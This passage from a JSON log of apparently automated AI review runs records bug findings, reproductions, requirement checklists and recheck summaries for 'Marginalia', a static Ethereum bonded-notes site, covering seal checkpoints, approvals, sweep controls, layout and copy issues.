to approval and hook.seal. It never reads priceWindows, starts a checkpoint, or explains the prerequisite one-hour wait, although hook.seal calls router.postPrice twice.\nChange to: Reuse the existing Post checkpoint controls before the seal action, read the derived venue's priceWindows state, show the one-hour countdown and six-hour expiry, and disable Seal unless that window is mature. Explain 'Checkpoint this venue, then wait one hour before sealing.'\nWhy: The requested seal flow must work against the live contracts. A missing or expired checkpoint makes the proposed seal revert; this is a missing functional prerequisite, not a missing wallet signature.","line":41,"path":"web/src/pages/Seal.tsx","reproduction":"At 390px open #/seal, use a chain-1 injected wallet, paste MARG 0xfa0efea559bde229031c2b0a219472316647759c, select the launch venue, and fill a 20% upward, 30-day call with 'A review call with a target.'. The page offers approval/sealing but contains no checkpoint action or countdown. During the live review, router.priceWindows(keccak256(abi.encode({kind:1,ref:0x436763bf49aa9ea6db1d8d4d80ac8c7b3c36ad58fa6281a06ea39c92d69e2f20,quote:IMD,xIsToken0:false}))) returned seven zeroes. A read-only eth_call of hook.seal with that venue reverts 0xc3651e6d (PriceHistoryUnavailable) before it pulls the stamp. src/MarginaliaPricer.sol:140-144 requires an existing 1h–6h checkpoint; allowance cannot fix this.","severity":"high","snippet":"  const sendSeal = async () => {\n    const p = derived.params!;\n    const { request } = await pub.simulateContract({ address: contracts.hook, abi: MarginaliaHookAbi, functionName: 'seal', args: [p.x, p.venue, hash!], account: acct! });\n    return wallet.client!.writeContract(request);\n  };","title":"bug: sealing omits the checkpoint required by the live hook"},{"citation":"resolved","description":"Now: readyToPost requires windowState === 'ready' for every call, including a prefetched sealed reveal. A valid seal already contains its baseline and does not require the original checkpoint still to be young.\nChange to: Read and validate the connected author's matching on-chain seal (hash, subject, age and unconsumed state). Permit posting during its 30-minute–6-hour reveal window without the ordinary checkpoint-age gate; retain the checkpoint gate for unsealed calls and show the actual seal countdown.\nWhy: The brief requires revealing the same parameters throughout the seal's stated window. The current extra one-hour wait can block a reveal until the seal lapses and wastes the already-paid stamp.","line":139,"path":"web/src/pages/Post.tsx","reproduction":"At 390px use a controlled RPC fixture with the launch checkpoint started at t−9h and a matching author Sealed event at t−4h (the checkpoint was valid, 5h old, when sealed). Keep account 0x1111111111111111111111111111111111111111 on chain 1 with 100 IMD balance/allowance; save the matching 20%, 30-day MARG draft in marginalia.seals. On #/seal, 'reveal open' shows nearly two hours left. Click 'Reveal: open the post form with these parameters'. Actual: #/post says 'The last checkpoint is older than 6 hours. Checkpoint again and wait one hour.' and 'Post the call' is disabled. Expected it enabled for the matching live seal. Source evidence: src/MarginaliaHook.sol:465-478 takes s.baseBuy/s.baseSell for a bound seal aged <=SEAL_MAX and calls router.postPrice only in the unsealed/lapsed branch. Reproduced in Chromium without broadcasting.","severity":"high","snippet":"  const readyToPost = !!params && bondOk && imdIn !== null && !needsApproval && enoughImd && (mode === 'thesis' || windowState === 'ready') && minMargOut > 0n;","title":"bug: an expired checkpoint disables valid sealed-note reveals"},{"citation":"resolved","description":"Now: Pools only loads today, yesterday and the day before, then looks for one of those days to be 28 days past its end. That condition cannot be satisfied. No weekly sweep control exists either; the page directs visitors to call sweep manually outside the site.\nChange to: Let the existing Pools surface read/select eligible older day and closed-week epochs, show their balances and actual sweep eligibility, and expose the existing simulated sweep(kind, epoch) action for eligible pools. Retain the 28-day and judge-closure checks.\nWhy: The brief explicitly includes sweep on the Pools page. The action branch is unreachable for every normally synchronized chain and browser clock.","line":33,"path":"web/src/pages/Pools.tsx","reproduction":"At 390px, connect on chain 1 and open #/pools. For today=20738, the only queried days are [20738,20737,20736]. SWEEP_AFTER from the live hook is 2419200 seconds; even the oldest queried day's end is less than two days ago. All three eligibility checks are false, regardless of their nonzero balances. In a controlled fixture returning 100 IMD for refundPool(day), the only main-page button is 'Refresh from chain'; no sweep is offered. The code never queries day 20709 or any other 28-day-old epoch, and never calls sendSweep with kind 1. Expected a usable action for an eligible older epoch, rather than the permanent instruction to use a wallet directly.","severity":"high","snippet":"  const sweepableDay = s ? s.days.find((d, i) => s.refunds[i] > 0n && now >= (d + 1) * 86400 + contracts.limits.sweepAfter) : undefined;","title":"fidelity: the sweep control can never become available"},{"citation":"resolved","description":"Now: Your claims renders counts and ordinary feed entries with 'Open a note to claim'; Pools has no claimDeposit or claimRefund action. Its refundable list also ignores refundClaimed and counts previously claimed notes as available.\nChange to: Reuse the existing note-page claim controls beside each eligible pool entry, read refundClaimed plus the day's remaining share before including a refund, and refresh eligibility after confirmation. Keep the note-detail links for inspection.\nWhy: The brief explicitly asks for claimDeposit/claimRefund buttons for the connected author on the Pools page. Counts that include already-paid refunds further misstate what can be claimed.","line":132,"path":"web/src/pages/Pools.tsx","reproduction":"At 390px, connect account 0x1111111111111111111111111111111111111111 on chain 1. Supply a Right note by that author with deposit=250000000000000000 from yesterday and refundClaimed=false; open #/pools. The entry is listed but no 'Claim deposit' or 'Claim refund' button exists in main; only 'Refresh from chain' does. In a second fixture with two past-day Right notes, deposit=0 and refundClaimed=true for both, Pools says 'refunds are available for 2 of your notes'. Opening either note correctly says 'Already claimed.' Expected direct eligible claim actions and no paid notes counted as refundable. The button absence is also established by the complete JSX in this source file.","severity":"high","snippet":"          <p className=\"small\">\n            Deposits ({claimable.length}) are claimed per note; refunds are available for {refundable.length} of your notes from past days, subject to the\n            pool of that day. Open a note to claim.\n          </p>\n          <ul className=\"ledger\">\n            {[...claimable, ...refundable.filter((n) => !claimable.includes(n))].map((n) => (\n              <Entry key={n.id} n={n} />\n            ))}","title":"fidelity: Pools omits the requested deposit and refund claim buttons"},{"citation":"resolved","description":"Now: Every Observed.xRead and balance is formatted as an 18-decimal token amount. xRead is a venue-specific accumulator for v2/v3, and a token such as USDC has six decimals. Both can display as 0 despite nonzero event values.\nChange to: Show xRead losslessly as a raw observation integer unless its venue/encoding has been recovered and decoded correctly. Read X's decimals before formatting author balances, with a clearly labeled raw-unit fallback and a distinct unavailable sentinel. Include the relevant units in the existing column labels.\nWhy: The note page must faithfully show Observed evidence. A cumulative reading is not an 18-decimal spot amount, and a real nonzero holding must not be represented as zero.","line":161,"path":"web/src/pages/Note.tsx","reproduction":"At 390px (also 1440px), intercept chain responses with a NotePosted/noteOf for id 0x1, X=USDC 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, and Observed(id=0x1,xRead=123456,balance=5000000). Open #/note/0x1. Actual observation row is '26169700 | 0 | 0 | transaction', with no decimals read for X. Expected raw xRead=123456 and balance=5 USDC (or explicitly 5000000 raw units). Source corroboration: MarginaliaPricer.observe documents v3 tick cumulative/v2 price cumulative; MarginaliaHook.observe emits the raw IERC20.balanceOf value. Reproduced in Chromium with a controlled fixture; the live feed currently has no observations.","severity":"medium","snippet":"                    <td className=\"num\">{fmtAmount(o.xRead, 18, 8)}</td>\n                    <td className=\"num\">{fmtAmount(o.balance, 18, 4)}</td>\n                    <td>","title":"bug: observation formatting turns nonzero readings and token balances into zero"},{"citation":"resolved","description":"Now: Seven record columns are forced into a 286px content area at a 320px viewport. Global overflow-wrap:anywhere and zero right padding on numeric headers split words and numbers instead of adapting the record layout. Even a live zero score renders as '0.0' and '0' on separate lines.\nChange to: Reuse the site's existing .facts label/value layout for the author record on narrow screens, preserving all seven fields. Keep each score/count intact and keep complete labels beside their values; retain the table where it has enough space.\nWhy: The brief requires a mobile-first, single-column ledger, and the author record is its primary data. A score must remain an unbroken, readable number.","line":34,"path":"web/src/pages/Author.tsx","reproduction":"At 320x844 in Chromium open #/author/0x1111111111111111111111111111111111111111 and wait for records(address). With the actual all-zero record, Score, Posted, Right, Wrong, Broken and Retracted wrap mid-word and 0.00 breaks across two lines. At 390px the header labels still fragment. With records=[12345678900,23,11,8,1,2,1], the displayed score 1234567.89 wraps at both widths; at 320 the score cell is 60.92px including 12.75px right padding, and Right is only 27.23px wide. The screenshot shows adjacent 'Post/Rig/Wro/Bro' fragments, although document.scrollWidth equals viewport width. Expected intact values and identifiable label/value pairs.","severity":"high","snippet":"      <table>\n        <thead>\n          <tr>\n            <th>Score</th>\n            <th className=\"num\">Posted</th>\n            <th className=\"num\">Right</th>\n            <th className=\"num\">Wrong</th>\n            <th className=\"num\">Broken</th>\n            <th className=\"num\">Retracted</th>\n            <th className=\"num\">Judged wins</th>\n          </tr>","title":"bug: the mobile author record breaks labels and scores into fragments"},{"citation":"resolved","description":"Now: The masthead, wallet explanation, two-line headline, long lede and filters consume almost the entire first 390px-wide screen. Only the top of an entry reaches the fold; its note text is below it.\nChange to: Use 'Notes and theses' as the heading and 'Post a claim with an IMD bond. Right returns it; wrong forfeits it. Nothing pays for being right.' as the lede. Shorten the disconnected wallet line to 'Reading Ethereum. Posting needs a browser wallet.' Keep the existing navigation, wallet control, filters and footer disclaimer; let the ledger move up as the copy contracts.\nWhy: The review explicitly requires the product and its main action on the first 390px screen and limits first-screen prose to 60 words.","line":82,"path":"web/src/pages/Feed.tsx","reproduction":"At 390x844 in Chromium with no wallet, open #/ and wait for RPC reads. The live empty-state box starts at y=805.06 and ends at y=907.06. With a controlled NotePosted/noteOf fixture, the first entry starts at y=805.06, its claim spans y=822.06..847.73, and its note text starts at y=857.14, entirely below the 844px fold. The Post link is visible, but no note text is. taste@1 reports copy-budget=false: 92 prose words at 390 (limit 60), 148 at 1440 (limit 90). Expected a complete first entry or the complete empty state without scrolling. WebKit with the same populated fixture is worse: first entry y=858.48 and note text y=941.02, both below the fold.","severity":"high","snippet":"      <h1>Notes in the margin of every trade</h1>\n      <p className=\"lede\">\n        A bonded feed. Each entry is a falsifiable call on a token, or a thesis, posted with an IMD bond that is returned when the call is right and\n        forfeited when it is wrong. Nothing pays for being right. This is not a perp DEX and not a prediction market; it is a record.\n      </p>","title":"fidelity: first-screen explanations push the ledger text below the phone viewport"},{"citation":"resolved","description":"Now: Post and Seal label the upward side 'BUY', and their hints, feed entries, note pages and About copy repeat that word. This reads as a trading instruction despite the required bonded-feed positioning.\nChange to: Replace visible 'BUY' with 'Upward call' and 'SELL' with 'Downward call'; use 'Upward 20% means a target of 1.20× the post price' in the form hint, and 'Up'/'Down' for compact ledger claims. Keep the underlying Side enum values and transaction encoding unchanged.\nWhy: The review brief explicitly says the copy 'never says buy'; the existing word is present in multiple visitor-facing surfaces, even though the financial disclaimer is correctly shown.","line":219,"path":"web/src/form.tsx","reproduction":"At 390px or 1440px, visit #/post or #/seal. The side control visibly reads 'BUY · the price goes up' and the target hint reads 'BUY 20% means the price reaches 1.20× the post price.' #/about also uses 'BUY = up'. With any upward NotePosted fixture, web/src/pages/Feed.tsx:30 and pages/Note.tsx:65 show BUY in the entry and note claim. Expected plain directional labels with no visible buy wording. This was observed in Chromium's rendered DOM, without connecting or signing.","severity":"high","snippet":"            <input type=\"radio\" name=\"side\" checked={draft.side === Side.Buy} onChange={() => set({ side: Side.Buy })} /> BUY · the price goes up","title":"fidelity: visitor-facing BUY labels violate the explicit copy restriction"},{"citation":"resolved","description":"Now: The document defines og:title, og:description and a summary Twitter card, but no og:image or share artwork.\nChange to: Add an og:image pointing to a bundled paper-and-ink Marginalia card, with its accessible description and dimensions, and reference the same card for Twitter previews.\nWhy: This site is meant to be shared through its canonical social account; the review requires a title, favicon, og:title and og:image so the link unfurls recognizably.","line":10,"path":"web/index.html","reproduction":"At 390px and 1440px, load the static export and run document.querySelector('meta[property=\"og:image\"]'); actual result is null. taste@1 reports share=false, 'missing or default: og:image'. The rendered document has a real title and favicon but no preview-image metadata. Expected a resolvable image URL from the served site.","severity":"medium","snippet":"    <meta property=\"og:title\" content=\"Marginalia\" />","title":"fidelity: shared links have no preview image"}],"hash":"7e67b0f0b218bc4f607147307bd8fc256118853b08678898a8bf7030a768635f","nodeId":"dd60c436-f4a2-440c-854e-5a5b7dc91fbc","outcome":"completed","summary":"| Area | Result |\n|---|---|\n| Requirements | 88 checked: 73 met, 15 missing, 0 faked |\n| Broken features | 8 groups |\n| First screen at 390px | No complete entry visible |\n| taste@1 | 14/16 passed |\n| Copy | 2 findings |\n| Share card | Missing image; 4/5 metadata checks passed |\n\n**Hosting verdict: refuse.** Sealing requests approval to the hook, contrary to the router-only rule. Posting can display an approval of **0.6 IMD** while requesting **0.60009 IMD**.\n\nSaved **12 verified findings: 2 critical, 8 high, 2 medium** in [`.imd-findings.json`](/home/imd13/.identitymd/work/1a751f97-4657-4c3b-989c-cb1f3ab02c66/dd60c436-f4a2-440c-854e-5a5b7dc91fbc/.imd-findings.json). Each contains the exact source snippet, reproduction, evidence and proposed fix.\n\nLive addresses, companion contracts, pool key and both pinned ABI hashes match. Chromium covered live reads; Chromium and WebKit covered populated states and unsigned wallet flows using controlled RPC fixtures. The live feed had no notes. No transactions were broadcast.\n\nMarginalia is a bonded notes feed carried by a paper-and-ink ledger.\n\n“Missing” below includes implemented behavior that fails its requirement.\n\n| # | Explicit requirement | Status | Evidence |\n|---:|---|---|---|\n| 1 | “A static site” | Met | `dist/index.html`; [App][app] hash routing |\n| 2 | “wallet-connected” on Ethereum mainnet | Met | [chain.ts][chain]; connect and network-switch checks |\n| 3 | Named hook and MARG addresses | Met | Deployment manifest and live `hook.token()` |\n| 4 | Named IMD address | Met | Live `hook.imd()`; [chain.ts][chain] |\n| 5 | Named router via `hook.router()`; clone | Met | Live address and EIP-1167 bytecode |\n| 6 | Named judge via `hook.judge()`; clone | Met | Live address and EIP-1167 bytecode |\n| 7 | Treasury via `hook.treasury()` | Met | Live `0x3e00372cc4967D2bd006Ca882c51dAf45a9810C8` |\n| 8 | “VERIFIED SPECIFICS … use them as given” | Met | Fifteen runtime limits match live reads |\n| 9 | Transactions match repository ABIs | Met | [abi.ts][abi]; 86 subset entries match full ABIs |\n| 10 | Feed of notes/theses from `NotePosted` | Met | [notes.ts:91][notes]; populated fixtures |\n| 11 | Live `noteOf` statuses | Met | [notes.ts:107][notes]; all listed status fixtures |\n| 12 | Author, token, side, target, horizon, bond, text | Met | [Feed.tsx:14][feed]; current held deposit shown |\n| 13 | Outcome/settle price from `Settled` | Met | [notes.ts:138][notes]; [Feed.tsx:46][feed] |\n| 14 | Filter by token | Met | [Feed.tsx:69][feed]; exercised |\n| 15 | Filter by author | Met | [Feed.tsx:70][feed]; exercised |\n| 16 | Author record and score scaled `1e4` | Met | [Author.tsx:10][author]; [lib.ts:186][lib] |\n| 17 | Author’s notes | Met | [Author.tsx:14][author]; populated fixture |\n| 18 | Note observations from `Observed` | **Missing** | [Note.tsx:161][note] turns nonzero readings and USDC balances into zero |\n| 19 | Horizon end | Met | [notes.ts:168][notes]; matches contract formula |\n| 20 | Settlement window | Met | [Note.tsx:90][note]; six-hour boundaries |\n| 21 | Note outcome | Met | [Note.tsx:112][note] |\n| 22 | Parent/child links | Met | [Note.tsx:127,238][note]; exercised |\n| 23 | Choose token X and venue | Met | [form.tsx:184][form]; launch/v3/v2 exercised |\n| 24 | Checkpoint first; one-hour wait; 1–6h countdown | Met | Ordinary posting: [Post.tsx:80,224][post] |\n| 25 | `router.note(params, v4Key, imdIn, minMargOut, deadline)` | Met | [Post.tsx:110][post] |\n| 26 | Bond within `0.25..10 IMD` | Met | [Post.tsx:76][post]; live bounds |\n| 27 | Approvals target “ONLY the router” | **Missing** | [Seal.tsx:38][seal] approves the hook |\n| 28 | Approval “only for the amount shown” | **Missing** | [Post.tsx:271][post] truncates displayed amount |\n| 29 | `imdIn = 0.1 + 0.25 + bond` | Met | [Post.tsx:78][post] |\n| 30 | Minimum MARG output covers only MARG leg; ~10% slippage | Met | [Post.tsx:91–92][post] |\n| 31 | Stamp and MARG purchase explained | Met | [Post.tsx:191][post] cost breakdown |\n| 32 | Laun","treeHash":null,"usage":{"cachedInputTokens":6468352,"inputTokens":191435,"model":"gpt-6-astra","outputTokens":50050,"runtime":"codex","turns":8,"wallClockMs":1579086}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"f121f0a8f8340392","findings":[],"hash":"8ee8097dc9bc0e6a1efb43fd9fd7247d0f5f5a6316aea5eb88a60b241a00a4ab","nodeId":"2bad0136-5594-493a-8be9-e70915872477","outcome":"completed","summary":"Review complete. [.imd-findings.json](/home/imd2/.identitymd/work/1a751f97-4657-4c3b-989c-cb1f3ab02c66/2bad0136-5594-493a-8be9-e70915872477/.imd-findings.json) contains `{\"findings\":[]}`. No substantiated hosting blocker remains.\n\n| Earlier finding | Recheck result |\n|---|---|\n| Feed fails on historical logs | Mitigated: bounded scans, cached events and partial-history warnings work. Fresh browsers can still lack older history. |\n| Seal checkpoint missing | Checkpoint state and wait are displayed. New sealing is explicitly disabled. |\n| Broken launch link | Fixed; the [replacement launch page](https://explorer.imd.fun/jobs/9060a248-29ce-4683-b5d1-54fbc83cd49d) resolves. |\n| Sweep controls unreachable | Fixed; eligible day and week sweeps produce the expected calls. |\n| External CCIP requests | Fixed; the malicious lookup reproduction produces no external request. |\n| Hook approval exception | Removed. Posting approves only the router for the exact displayed amount. |\n| Unrelated helper | Remains outside `dist/`. |\n| Copy | Directional labels replace BUY/SELL; disclaimer remains; no promised returns found. |\n| Export verification | Source rebuild matches all nine assets; manifest, ABI and live address checks pass. |\n\nRead all seven page sources and reviewed every hosted asset. Type checking, nine unit scenarios and nineteen browser scenarios passed. No transaction was broadcast; application files were unchanged.","treeHash":null,"usage":{"cachedInputTokens":1927296,"inputTokens":142193,"model":"gpt-6-astra","outputTokens":8455,"runtime":"codex","turns":6,"wallClockMs":305588}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"49abac41ee211059","findings":[{"citation":"resolved","description":"Now: A fresh browser starts at head minus 7,999 blocks and never backfills earlier events, even when the configured node serves them. Older notes therefore disappear from Feed, Author, Note and Pools claims; the warning acknowledges the gap but offers no recovery.\nChange to: Keep the bounded 2,000-block requests and recent scan, but persist and advance a separate historical cursor from deploy block 26169583 on successive batches/refreshes. Preserve successful ranges and retry missing ranges through the existing approved RPCs until historical coverage is complete.\nWhy: The brief requires notes and theses from NotePosted, author histories, note evidence and claims, and explicitly specifies reading logs from deploy block 26169583. Browser-local copies cannot make that history available to a first visitor.","line":147,"path":"web/src/notes.ts","reproduction":"At 390x844 in Chromium, open the static dist/ export in a fresh context with no localStorage. Use a chain-1 RPC fixture with head=26181583, one NotePosted for id=0x1 at block 26170583, a valid live noteOf(0x1), and successful eth_getLogs for every requested range. The site requests only [26173584,26175583], [26175584,26177583], [26177584,26179583], [26179584,26181583], then displays '0 notes loaded'. Clicking Refresh still never requests the older range. Opening #/note/0x1 says 'This note is not in the available history; older events may be missing.' A direct request to the same fixture for [26169583,26171582] returns the note. Expected the site to retrieve this available historical event via bounded backfill. No RPC refusal or transaction is involved. Repeated in WebKit 27.2: the same four ranges, zero loaded notes and missing-note result.","severity":"high","snippet":"  const tailStart = max(DEPLOY_BLOCK, toBlock - LOG_TAIL + 1n);\n  // At most four 2,000-block requests per refresh, regardless of time since launch.\n  let from = cache ? max(tailStart, cache.cursor - LOG_REORG_OVERLAP + 1n) : tailStart;","title":"bug: the fixed 8,000-block scan permanently omits older notes in fresh browsers"},{"citation":"resolved","description":"Now: The requested shorter feed and wallet copy fits in the no-warning state, but the new history notice is inserted above the page heading. Once a fresh browser is more than 8,000 blocks past deployment, the notice moves the first note text entirely below the phone viewport. The earlier first-screen finding therefore remains reproducible in the partial-history state.\nChange to: Keep a concise visible history warning beside the loaded-note count, with the detailed coverage explanation in the existing expandable details control. Remove the large notice above the feed heading so the heading, filters and ledger move up; retain the warning and all navigation, wallet controls and disclaimer.\nWhy: The review requires the product and its main action on the first 390px screen. Shortened copy must also work with the site's normal partial-history state.","line":109,"path":"web/src/App.tsx","reproduction":"At 390x844 in Chromium, use a fresh browser without a wallet or cached history. Serve successful chain-1 RPC responses with head=26181583 and a valid NotePosted/noteOf fixture at block 26179083, with text 'A review note: the evidence matters more than the result.' Open #/ and wait for the feed. The notice is visible above 'Notes and theses'; the first entry bounds are y=794.125, height=178.671875, and its text bounds are y=846.203125, height=51, wholly below the 844px fold. With the identical note and head=26173083 (within 8,000 blocks of deployment), text starts at y=693.203125 and ends at y=744.203125. Expected note text to remain visible without scrolling when history is partial. The Post navigation link is visible in both states. No rejected RPC or signature is needed. Repeated in WebKit 27.2 at 390x844: the entry starts at y=870.53125 and its text at y=922.90625 (51px tall), both below the fold.","severity":"high","snippet":"          {feed && feed.warnings.length > 0 && <Notice><p>{feed.warnings[0]}</p>{feed.warnings.length > 1 && <details><summary>Read coverage details</summary><ul>{feed.warnings.slice(1).map((w, i) => <li key={i}>{w}</li>)}</ul></details>}</Notice>}","title":"fidelity: the history notice restores the first-screen ledger obstruction"}],"hash":"902a6d0bfdf56580ab99ed273794f2486695f8778191d11ff20f1a347132ec59","nodeId":"dd60c436-f4a2-440c-854e-5a5b7dc91fbc","outcome":"completed","summary":"| Area | Previous review | This review |\n|---|---:|---:|\n| Requirements | Not tabulated | **44 met, 6 missing, 0 faked** across 50 grouped checks |\n| Broken features / findings | 12 findings | **2 high; 0 critical** |\n| First screen at 390px | Product hidden | Fits normally; **hidden with partial history** |\n| taste@1 | Copy and share failed; total unspecified | **15/16 passed** |\n| Copy | Direction labels and lengthy introduction | Both corrected; desktop prose remains 97/90 words |\n| Share card | Missing | **Present**, 1200×630 |\n\n**Eleven prior findings are resolved. The first-screen finding remains reproducible, and one new history defect is confirmed.** Both are recorded in [.imd-findings.json](/home/imd/agents/273/data/work/1a751f97-4657-4c3b-989c-cb1f3ab02c66/dd60c436-f4a2-440c-854e-5a5b7dc91fbc/.imd-findings.json).\n\n- **High — bug: historical notes remain inaccessible.** With head `26181583`, a fresh browser never requests an existing note at block `26170583`, even when the RPC serves it. Refresh does not recover it.\n- **High — fidelity: the history notice hides the ledger again.** At 390×844, partial-history warnings push the first note text to **y=846 in Chromium** and **y=923 in WebKit**. Keep a compact coverage warning near the count and put its explanation in expandable details.\n\nAnother revision is needed. No remaining address, approval or external-script blocker was found. New sealing remains deliberately unavailable under the previously requested policy gate.\n\nThe requirement checklist follows. Paths are relative to `web/src/` unless stated otherwise. Several missing requirements share the same historical-scan defect; they are not separate findings.\n\n| # | Explicit requirement | Status | Evidence |\n|---:|---|---|---|\n| 1 | “live launch #1283” on Ethereum, with the specified hook, MARG and IMD | Met | `chain.ts`; deployment manifest and live reads match |\n| 2 | “router()/judge()/treasury()”; clone ABIs from this repository | Met | `loadContracts`; live companions and ABI subsets verified |\n| 3 | “static site, wallet-connected, reading the chain directly” | Met | `App.tsx`, `chain.ts`; static export |\n| 4 | “FEED of notes and theses from NotePosted events” | **Missing** | `notes.ts:147`; older events are never requested in fresh browsers |\n| 5 | “live status from noteOf” and the specified statuses | Met | `notes.ts`, `lib.ts`; all status mappings present |\n| 6 | “author, token, side, target, horizon, bond, text, outcome and settle price” | Met | `pages/Feed.tsx`; rendered for loaded records |\n| 7 | “filters by token and author” | Met | Feed filter controls |\n| 8 | AUTHOR “records(address)” and score scaled `1e4` | Met | `pages/Author.tsx`, `fmtScore`; all seven fields displayed |\n| 9 | “the author’s notes” | **Missing** | Author inherits the historical-event cutoff |\n| 10 | NOTE “observations,” horizon, settlement window, outcome and parent/child links | **Missing** | Implemented for loaded notes; older note URLs cannot retrieve their records |\n| 11 | POST “choose token X and venue” across v4, v3 and v2 | Met | `form.tsx` |\n| 12 | “checkpointVenue first” and clear one-hour wait | Met | `checkpoint.tsx`; ordinary posting is gated |\n| 13 | `router.note(params, v4Key, imdIn, minMargOut, deadline)` | Met | `pages/Post.tsx`; decoded unsigned requests match |\n| 14 | Bond within “BOND_MIN..BOND_MAX” | Met | Live limits; 0.25–10 IMD validation |\n| 15 | Router approval for “STAMP 0.1 + MARG_BUY 0.25 + bond” | Met | Exact displayed amount equals encoded approval |\n| 16 | `minMargOut` covers only MARG purchase, with approximately 10% slippage | Met | `Post.tsx:100`; price read from hook |\n| 17 | Launch v4 kind, pool-key hash, currencies, fee `12500`, spacing `60`, hook | Met | Live pool key and ID verified |\n| 18 | “quote and xIsToken0 are derived by the router” | Met | `useDerivedParams`; launch yields IMD / false |\n| 19 | v3 kind `2`, v2 kind `3`, address left-padded to bytes32 | Met | `form.tsx`, `addressRef` |\n| 20 | Ve","treeHash":null,"usage":{"cachedInputTokens":4258432,"inputTokens":160413,"model":"gpt-6-astra","outputTokens":21985,"runtime":"codex","turns":8,"wallClockMs":825860}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"ee235ca2c050b44d","findings":[],"hash":"9f9a2bbd27188a73a2c9be8e7bb14404366834e121c2d2b9fba246a0142d0051","nodeId":"dd60c436-f4a2-440c-854e-5a5b7dc91fbc","outcome":"completed","summary":"| Area | Previous supplied review | This review |\n|---|---|---|\n| Requirements | 2 disputed requirements | 47 met, 1 missing, 0 faked |\n| Broken features | Historical notes omitted | 0 remaining in revised features |\n| First screen, 390×844 | Ledger obscured | Pass in Chromium and WebKit |\n| taste@1 | Not supplied | 15/16 |\n| Copy findings | Not supplied | 0 new |\n| Share card | Not supplied | Present, 1200×630 |\n\n**Both prior findings are fixed.** No new substantiated defects were found. [`.imd-findings.json`](/home/imd/agents/1170/data/work/1a751f97-4657-4c3b-989c-cb1f3ab02c66/dd60c436-f4a2-440c-854e-5a5b7dc91fbc/.imd-findings.json) contains `{\"findings\":[]}`. No site files changed.\n\n- **Bug: older notes disappear — fixed.** With head `26181583` and note 1 at block `26170583`, fresh Chromium and WebKit sessions now recover the note through bounded historical requests. Feed, Author, Note and Pools expose it. Reload continuation, refused-range recovery and approved-RPC fallback also pass.\n- **Fidelity: history notice hides the ledger — fixed.** At 390×844 with incomplete history, note text occupies **y=706.28–757.28 in Chromium** and **y=757.48–808.48 in WebKit**. The warning remains visible beside the count; keyboard-accessible details retain the explanation and recovery action.\n\nValidation passed: seven history unit scenarios, five history scenarios in each browser, and 19 existing Chromium regressions. Live reads at block **26173496** verified contract addresses, ABI hashes and encodings. No mainnet transaction was sent.\n\nThe single taste@1 failure is desktop copy count: **97 words against 90**, including the visible footer on the empty feed. Mobile measures **41/60**. Screenshot inspection did not substantiate another defect.\n\nThe missing requirement below is the **existing, disclosed new-seal restriction** imposed by the router-only approval policy. It is not a new regression or a reopened finding.\n\nEach checklist row counts once. Source paths are relative to `web/`.\n\n| Explicit requirement | Status | Evidence |\n|---|---|---|\n| 1. “live launch #1283” on Ethereum; specified hook, MARG and IMD | Met | `dist/imd-deployment.json`; live reads |\n| 2. Router, judge and treasury from hook getters; supplied companion ABIs | Met | `src/chain.ts`, `src/abi.ts`; live address checks |\n| 3. “static site, wallet-connected, reading the chain directly” | Met | `dist/`, `src/chain.ts` |\n| 4. Feed from `NotePosted`, with all specified live `noteOf` statuses | Met | `src/notes.ts`, `src/lib.ts` |\n| 5. Author, token, side, target, horizon, bond, text, outcome and `Settled` price | Met | `src/pages/Feed.tsx`, `src/notes.ts` |\n| 6. “filters by token and author” | Met | Feed’s Token and Author controls |\n| 7. Author record, including score scaling and record fields | Met | `src/pages/Author.tsx`, `src/lib.ts` |\n| 8. “the author's notes” | Met | Author ledger; recovered-history browser checks |\n| 9. Note observations from `Observed` | Met | `src/notes.ts`, Note observation table |\n| 10. Horizon end, settlement window and outcome | Met | `src/pages/Note.tsx` |\n| 11. “parent/child links” | Met | Note’s Parent and Children entries |\n| 12. Posting: token X and v4/v3/v2 venue selection | Met | `src/form.tsx` |\n| 13. `validateVenue`, venue hash, `priceWindows`, checkpoint and clear 1–6-hour timing | Met | `src/form.tsx`, `src/checkpoint.tsx`, `src/lib.ts` |\n| 14. `router.note(params, v4Key, imdIn, minMargOut, deadline)` | Met | `src/pages/Post.tsx`; decoded transaction checks |\n| 15. Bond within `BOND_MIN..BOND_MAX`, 0.25–10 IMD | Met | Post validation; live constants |\n| 16. Exact-amount approval **only to the router**; `imdIn = stamp + MARG_BUY + bond` | Met | Post approval builder; precision regression |\n| 17. Stamp and MARG purchase explained | Met | Post cost breakdown; About |\n| 18. `minMargOut` covers only 0.25-IMD purchase, using scaled price and approximately 10% slippage | Met | Post’s `minMargOut` calculation |\n| 19. Launch v4 key, kind 1, p","treeHash":null,"usage":{"cachedInputTokens":1749248,"inputTokens":127057,"model":"gpt-6-astra","outputTokens":11712,"runtime":"codex","turns":6,"wallClockMs":402841}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"d00f790fc692b1a4","findings":[{"citation":"resolved","description":"In answer to another reviewer's critical finding, this revision removed the IMD approval to the hook and the hook.seal transaction builder, and renders a permanently disabled 'Seal unavailable' button with a notice that new sealing is unavailable. The contract leaves no other way: MarginaliaHook.seal (src/MarginaliaHook.sol:812-831) calls _fund(STAMP), which does IERC20(imd).safeTransferFrom(msg.sender, address(this), STAMP) (line 786), so a seal needs an allowance of exactly 0.1 IMD granted to the hook, the immutable launch contract at the deployment-file address 0xf0457dd0cf526686190e4f057ba19db14d34a0cc. The brief requires both 'SEAL flow: compute sealHash client-side, call hook.seal(x, venue, hash), show the 30 min to 6 h reveal window' and 'approvals target ONLY the router'; against the live contract these two cannot both hold. The author chose the safe side and said so on the page, in README and in VALIDATION.md, so this is not a code defect and not an unauthorized approval: it is an unresolved requirement conflict that only the requester can settle. Either (a) the requester authorises an exact-amount 0.1 IMD approval to the hook address read from imd-deployment.json for the seal step only (the previous revision did exactly that: approve(hook, STAMP) then hook.seal; the reveal path, checkpoint block, seal listing and expiry-capped deadline that this revision added would stay as they are), or (b) sealing stays off the site and item 5 is reduced to 'show seals and reveal them'. Nothing in the review brief lets a reviewer make that call. Everything else about seals in this revision checks out: sealHash/sealKey/sealSubject encodings match the contract (lines 794-804, 828), 'Your seals' lists Sealed events with the 30 min..6 h window and a reveal button, and the Post page reveals a bound seal without a fresh checkpoint.","line":81,"path":"web/src/pages/Seal.tsx","reproduction":"State: any wallet with IMD, connected on Ethereum. Open #/seal, enter X = 